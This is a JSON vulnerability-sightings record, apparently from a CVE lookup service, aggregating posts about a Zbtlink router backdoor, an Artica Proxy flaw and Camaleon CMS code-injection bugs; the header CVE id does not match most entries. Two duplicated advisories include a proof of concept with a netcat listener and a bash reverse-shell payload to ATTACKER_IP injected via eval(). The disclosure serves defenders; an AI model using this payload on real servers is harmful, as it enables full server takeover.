{"vulnerability": "CVE-2026-6674", "sightings": [{"uuid": "8733bbeb-e077-48da-a23d-a203aebf2359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6674", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjydw4ylkk2k", "content": "", "creation_timestamp": "2026-04-21T06:24:38.325536Z"}, {"uuid": "74c57dfe-0b69-48ce-b499-3b2491f9f79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-6674", "type": "seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mkjvtqaiuw2s", "content": "", "creation_timestamp": "2026-04-28T06:01:11.553314Z"}, {"uuid": "8213293e-308a-49bc-8e6f-6e62106541c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95604", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a theopaid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 23:10:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:03:19.733817Z"}, {"uuid": "1fbbcd10-334c-475c-8d82-95f936fea9e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66747", "type": "seen", "source": "https://infosec.exchange/users/catc0n/statuses/117042451920559868", "content": "Today, VulnCheck is disclosing #ENDLESSDOORS, a phone-home implant CTO @albinolobster discovered in Zbtlink routers. ENDLESSDOORS starts automatically, runs with root privileges, and attempts to connect to command-and-control infrastructure roughly every 35 seconds. The backdoor ships by default across 20+ Zbtlink router models, which are white-labeled and sold on popular retail sites including Amazon, AliExpress, and Alibaba.\nThe implant and server implement no encryption or verification, meaning anyone along the network path can hijack the client-server communication and obtain a root shell on the device, regardless of the router's network position. \nThe VulnCheck CNA has assigned CVE-2026-66747 to track backdoored firmware versions; our blog also has guidance for defenders, including affected firmware images, hashes, network indicators, a YARA rule, and network signatures (Suricata / Snort).\nhttps://www.vulncheck.com/blog/zbt-endlessdoors", "creation_timestamp": "2026-08-05T10:34:46.528224Z"}, {"uuid": "d566dd91-d6d4-43bb-ab87-961f51829cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66747", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msdgfvc7v32b", "content": "CVE-2026-66747 - cpe2801 firmware\nThe Zbtlink router has a hidden program that allows an attacker to control the router remotely without a password. This could allow an attacker to make changes to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cpe2801firmware #zbtlink #CVE #infosec", "creation_timestamp": "2026-08-05T11:30:05.453959Z"}, {"uuid": "e2fa9239-3833-46a9-bf35-81606baea952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66747", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117044221640947736", "content": "CVE-2026-66747 - Critical RCE via hidden ENDLESSDOORS implant in Zbtlink routers. Backdoor runs as root, phones home over cleartext. CVSS 9.8. Unpatched. Isolate devices now. #CVE #infosec #IoT\nhttps://www.valtersit.com/cve/CVE-2026-66747/", "creation_timestamp": "2026-08-05T18:04:52.303302Z"}, {"uuid": "5a4d4b98-9115-44cc-b672-447effbaf038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66747", "type": "seen", "source": "Telegram/STxGsrhQP6hZxkehr2eSvviXIon440Ogfxey7gY5WpdfDHc", "content": "", "creation_timestamp": "2026-08-22T08:00:03.942190Z"}, {"uuid": "8988671d-face-4b41-9621-0a745a4e5412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66747", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mshj6yyyyy27", "content": "CVE-2026-66747: a Zbtlink router backdoor named ENDLESSDOORS gives unauthenticated remote code execution as root. No fix exists. CVSS 9.8.\n\n#Zbtlink #RouterBackdoor #CVE #IoT #CyberSecurity", "creation_timestamp": "2026-08-07T02:30:34.605012Z"}, {"uuid": "6507c8e6-35a3-4d91-b0a2-ed0e8e06baed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66747", "type": "published-proof-of-concept", "source": "Telegram/STxGsrhQP6hZxkehr2eSvviXIon440Ogfxey7gY5WpdfDHc", "content": "", "creation_timestamp": "2026-08-23T00:00:40.804088Z"}, {"uuid": "5a995cf7-2471-4e84-9d8a-f70b921021ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrpv6bv23f2w", "content": "\ud83d\udfe0 CVE-2026-66748 - High (8.8)\n\nCamaleon CMS versions 2.1.1 through 2.9.1 contains an authenticated remote code execution vulnera...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-66748/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-28T17:01:00.967225Z"}, {"uuid": "298c198c-1f14-4ee9-a3cd-938c4f14b73d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66745", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq4e5jyet2i", "content": "CVE-2026-66745 - Artica Proxy 4.50 Session Fixation via fw.login.php\nCVE ID : CVE-2026-66745\n \n Published : July 28, 2026, 6:10 p.m. | 29\u00a0minutes ago\n \n Description : Artica Proxy before 4.50.000000 Service Pack 7 (fixed in hotfix 20260724-02) contains a session fixation vulne...", "creation_timestamp": "2026-07-28T19:09:33.726243Z"}, {"uuid": "fcc625ff-6383-4df3-af57-02eba16c1917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66745", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrq77z7zsg2e", "content": "\ud83d\udfe0 CVE-2026-66745 - High (7.5)\n\nArtica Proxy before 4.50.000000 Service Pack 7 (fixed in hotfix 20260724-02) contains a session f...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-66745/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-28T20:00:56.632291Z"}, {"uuid": "4bf785cf-2d20-460c-be81-b722dbbb8ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://t.me/GithubRedTeam/95604", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a theopaid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 23:10:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T01:00:03.988638Z"}, {"uuid": "4eef325c-26bd-49df-8c64-663e812b6e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrrwmbzm7x2z", "content": "CVE-2026-66748\nCamaleon CMS versions 2.1.1 to 2.9.1 have a security flaw that allows authorized users to run unauthorized code on the server. This could lead to sensitive data being accessed or modified. To stay secure,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T12:32:03.986696Z"}, {"uuid": "7604c8a4-dc7a-4b63-a997-583492a184d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://gist.github.com/tikeii275-cyber/b2ca180f989ff591c3dce6ffcf47a7b3", "content": "# Camaleon CMS \u2014 Authenticated RCE via `eval()` in Custom Field i18n Rendering\n\n## 1. Executive Summary\n\n| Item | Details |\n|---|---|\n| Vulnerability Name | Server-Side Code Injection via `eval()` in Custom Field Name (i18n rendering) |\n| Application | Camaleon CMS (`owen2345/camaleon-cms`) |\n| Affected Version | 2.9.1 and earlier |\n| Fixed Version | 2.9.2 (PR #1129) |\n| Vulnerability Type | Remote Code Execution (RCE) |\n| CWE | CWE-94 (Improper Control of Generation of Code) |\n| Severity | High \u2014 CVSS 3.1 **7.2** (`AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`) |\n| Authentication | Required (administrative privileges) |\n| Discovery Date | 2026-02-02 |\n| Reporters | Nguyen Trung Kien, Mohammad KH Yaseen |\n\n## 2. Vulnerability Description\n\nCamaleon CMS version 2.9.1 (and earlier) is vulnerable to Remote Code Execution within\nthe custom-field name processing logic.\n\nThe helper function `cama_print_i18n_value()` in `html_helper.rb` passes any value\nstarting with `t(` to Ruby's `eval()` after a string substitution, without any validation\nor sanitization. An authenticated user with administrative privileges can inject arbitrary\nRuby code through the **Name** attribute of a custom field (specifically the Check Box\ntype), achieving arbitrary code execution on the server with the privileges of the web\nserver process.\n\n## 3. Vulnerable Code Analysis\n\n- **File:** `app/helpers/camaleon_cms/html_helper.rb`\n- **Lines:** 142\u2013143\n\n```ruby\n# execute translation for value if this value is like: t(admin.my_test) ==> My Text\ndef cama_print_i18n_value(value)\n  value.start_with?('t(') ? eval(value.sub('t(', 'I18n.t(')) : value\nend\n```\n\n**Technical flaws:**\n\n- The function checks whether a value starts with `t(`, rewrites that prefix to `I18n.t(`,\n  and passes the result directly to `eval()`.\n- No input validation is performed, allowing arbitrary Ruby code injection.\n- **Payload mechanism:** a payload like `t(system('command'))` is rewritten to\n  `I18n.t(system('command'))`. In Ruby, the inner `system('command')` is evaluated first\n  (to produce the argument to `I18n.t`), so the attacker-controlled command executes.\n\n## 4. Steps to Reproduce (Proof of Concept)\n\n**Prerequisites:** administrative access to the Camaleon CMS dashboard.\n\n1. Start a listener on the attacker's machine:\n   ```\n   nc -lvnp 5555\n   ```\n2. Log in to the Admin Panel and navigate to: **Settings \u2192 Custom Fields \u2192 New**.\n3. Create a new custom field group:\n   - Name: `Test`\n   - Where to display: `Post`\n4. Add a field of type **Check Box** with the following **Name**:\n   ```\n   t(system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1\"'))\n   ```\n5. Click **Submit** to save.\n6. Navigate to: **Contents \u2192 Posts \u2192 Add New**.\n7. **Result:** the field renders, `eval()` fires, and a reverse shell is established to the\n   attacker's machine.\n\n## 5. Impact Assessment\n\n| Impact | Description |\n|---|---|\n| Confidentiality | High \u2014 attacker can access all sensitive data on the server |\n| Integrity | High \u2014 attacker can modify or delete critical system files and data |\n| Availability | High \u2014 attacker can shut down services or crash the server |\n\n**Critical risks:** full system compromise; theft of databases, environment variables, and\ncredentials; installation of persistent backdoors or malware.\n\n## 6. Remediation\n\nRemove `eval()` and avoid dynamic code execution. Extract the key safely and restrict it to\na valid translation-key pattern:\n\n```ruby\ndef cama_print_i18n_value(value)\n  if value.start_with?('t(') && value.end_with?(')')\n    key = value[2..-2] # content between t( and )\n    key.match?(/\\A[\\w.]+\\z/) ? I18n.t(key) : value\n  else\n    value\n  end\nend\n```\n\nThis fix was applied by the maintainer in PR #1129 (released in v2.9.2).\n\n## 7. Distinction from CVE-2026-66748 (Not a Duplicate)\n\nThis vulnerability is **distinct** from CVE-2026-66748, despite both being RCE issues in\nCamaleon CMS custom fields fixed in the 2.9.2 release.\n\n| | This report (PR #1129) | CVE-2026-66748 |\n|---|---|---|\n| Function / sink | `cama_print_i18n_value()` \u2192 `eval()` | `select_eval` field \u2192 `instance_eval(field.options[:command])` |\n| File | `html_helper.rb` | `_select_eval.html.erb` |\n| Injection point | Custom field **Name** (`t(...)` prefix) | `select_eval` field option `command` |\n| Fix | PR #1129 | commit `15882366` |\n\nDifferent root cause, different function, different code path, and a separate fix. They are\nnot duplicates.\n\n## 8. Timeline\n\n- **2026-02-02** \u2014 Discovered.\n- **2026-04** (approx.) \u2014 Reported to the CVE Program.\n- **2026-05** (approx.) \u2014 Fixed by the maintainer in PR #1129 (v2.9.2).\n\nThis discovery and fix **predate** CVE-2026-66748 (reserved 2026-07-27).\n\n## 9. References\n\n- Fix (PR #1129): https://github.com/owen2345/camaleon-cms/pull/1129\n- Changelog (2.9.2): https://github.com/owen2345/camaleon-cms/blob/master/CHANGELOG.md", "creation_timestamp": "2026-10-01T17:23:09.000000Z"}, {"uuid": "fb0d6b86-503c-410a-ad13-6073bcbd57ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://gist.github.com/tikeii275-cyber/c64cd130112ac90e264fcbc26056cecb", "content": "# Camaleon CMS \u2014 Authenticated RCE via `eval()` in Custom Field i18n Rendering\n\n## 1. Executive Summary\n\n| Item | Details |\n|---|---|\n| Vulnerability Name | Server-Side Code Injection via `eval()` in Custom Field Name (i18n rendering) |\n| Application | Camaleon CMS (`owen2345/camaleon-cms`) |\n| Affected Version | 2.9.1 and earlier |\n| Fixed Version | 2.9.2 (PR #1129) |\n| Vulnerability Type | Remote Code Execution (RCE) |\n| CWE | CWE-94 (Improper Control of Generation of Code) |\n| Severity | High \u2014 CVSS 3.1 **7.2** (`AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`) |\n| Authentication | Required (administrative privileges) |\n| Discovery Date | 2026-02-02 |\n| Reporters | Nguyen Trung Kien, Mohammad KH Yaseen |\n\n## 2. Vulnerability Description\n\nCamaleon CMS version 2.9.1 (and earlier) is vulnerable to Remote Code Execution within\nthe custom-field name processing logic.\n\nThe helper function `cama_print_i18n_value()` in `html_helper.rb` passes any value\nstarting with `t(` to Ruby's `eval()` after a string substitution, without any validation\nor sanitization. An authenticated user with administrative privileges can inject arbitrary\nRuby code through the **Name** attribute of a custom field (specifically the Check Box\ntype), achieving arbitrary code execution on the server with the privileges of the web\nserver process.\n\n## 3. Vulnerable Code Analysis\n\n- **File:** `app/helpers/camaleon_cms/html_helper.rb`\n- **Lines:** 142\u2013143\n\n```ruby\n# execute translation for value if this value is like: t(admin.my_test) ==> My Text\ndef cama_print_i18n_value(value)\n  value.start_with?('t(') ? eval(value.sub('t(', 'I18n.t(')) : value\nend\n```\n\n**Technical flaws:**\n\n- The function checks whether a value starts with `t(`, rewrites that prefix to `I18n.t(`,\n  and passes the result directly to `eval()`.\n- No input validation is performed, allowing arbitrary Ruby code injection.\n- **Payload mechanism:** a payload like `t(system('command'))` is rewritten to\n  `I18n.t(system('command'))`. In Ruby, the inner `system('command')` is evaluated first\n  (to produce the argument to `I18n.t`), so the attacker-controlled command executes.\n\n## 4. Steps to Reproduce (Proof of Concept)\n\n**Prerequisites:** administrative access to the Camaleon CMS dashboard.\n\n1. Start a listener on the attacker's machine:\n   ```\n   nc -lvnp 5555\n   ```\n2. Log in to the Admin Panel and navigate to: **Settings \u2192 Custom Fields \u2192 New**.\n3. Create a new custom field group:\n   - Name: `Test`\n   - Where to display: `Post`\n4. Add a field of type **Check Box** with the following **Name**:\n   ```\n   t(system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1\"'))\n   ```\n5. Click **Submit** to save.\n6. Navigate to: **Contents \u2192 Posts \u2192 Add New**.\n7. **Result:** the field renders, `eval()` fires, and a reverse shell is established to the\n   attacker's machine.\n\n## 5. Impact Assessment\n\n| Impact | Description |\n|---|---|\n| Confidentiality | High \u2014 attacker can access all sensitive data on the server |\n| Integrity | High \u2014 attacker can modify or delete critical system files and data |\n| Availability | High \u2014 attacker can shut down services or crash the server |\n\n**Critical risks:** full system compromise; theft of databases, environment variables, and\ncredentials; installation of persistent backdoors or malware.\n\n## 6. Remediation\n\nRemove `eval()` and avoid dynamic code execution. Extract the key safely and restrict it to\na valid translation-key pattern:\n\n```ruby\ndef cama_print_i18n_value(value)\n  if value.start_with?('t(') && value.end_with?(')')\n    key = value[2..-2] # content between t( and )\n    key.match?(/\\A[\\w.]+\\z/) ? I18n.t(key) : value\n  else\n    value\n  end\nend\n```\n\nThis fix was applied by the maintainer in PR #1129 (released in v2.9.2).\n\n## 7. Distinction from CVE-2026-66748 (Not a Duplicate)\n\nThis vulnerability is **distinct** from CVE-2026-66748, despite both being RCE issues in\nCamaleon CMS custom fields fixed in the 2.9.2 release.\n\n| | This report (PR #1129) | CVE-2026-66748 |\n|---|---|---|\n| Function / sink | `cama_print_i18n_value()` \u2192 `eval()` | `select_eval` field \u2192 `instance_eval(field.options[:command])` |\n| File | `html_helper.rb` | `_select_eval.html.erb` |\n| Injection point | Custom field **Name** (`t(...)` prefix) | `select_eval` field option `command` |\n| Fix | PR #1129 | commit `15882366` |\n\nDifferent root cause, different function, different code path, and a separate fix. They are\nnot duplicates.\n\n## 8. Timeline\n\n- **2026-02-02** \u2014 Discovered and reported directly to the maintainer (email to Owen Peredo / Camaleon CMS), including the technical report and PoC.\n- **2026-03-16** \u2014 Maintainer (Aurel Branzeanu) acknowledged the report to Nguyen Trung Kien and pushed the fix to the `master` branch (PR #1129).\n- **2026-04** (approx.) \u2014 CVE ID requested from the CVE Program.\n- **2026-05-01** \u2014 Fix released in v2.9.2.\n\nThis disclosure and fix **predate** CVE-2026-66748 (reserved 2026-07-27) by several months. Vendor correspondence confirming the 2026-02-02 disclosure and the 2026-03-16 fix acknowledgement is available on request.\n\n## 9. References\n\n- Fix (PR #1129): https://github.com/owen2345/camaleon-cms/pull/1129\n- Changelog (2.9.2): https://github.com/owen2345/camaleon-cms/blob/master/CHANGELOG.md", "creation_timestamp": "2026-10-01T17:34:53.000000Z"}]}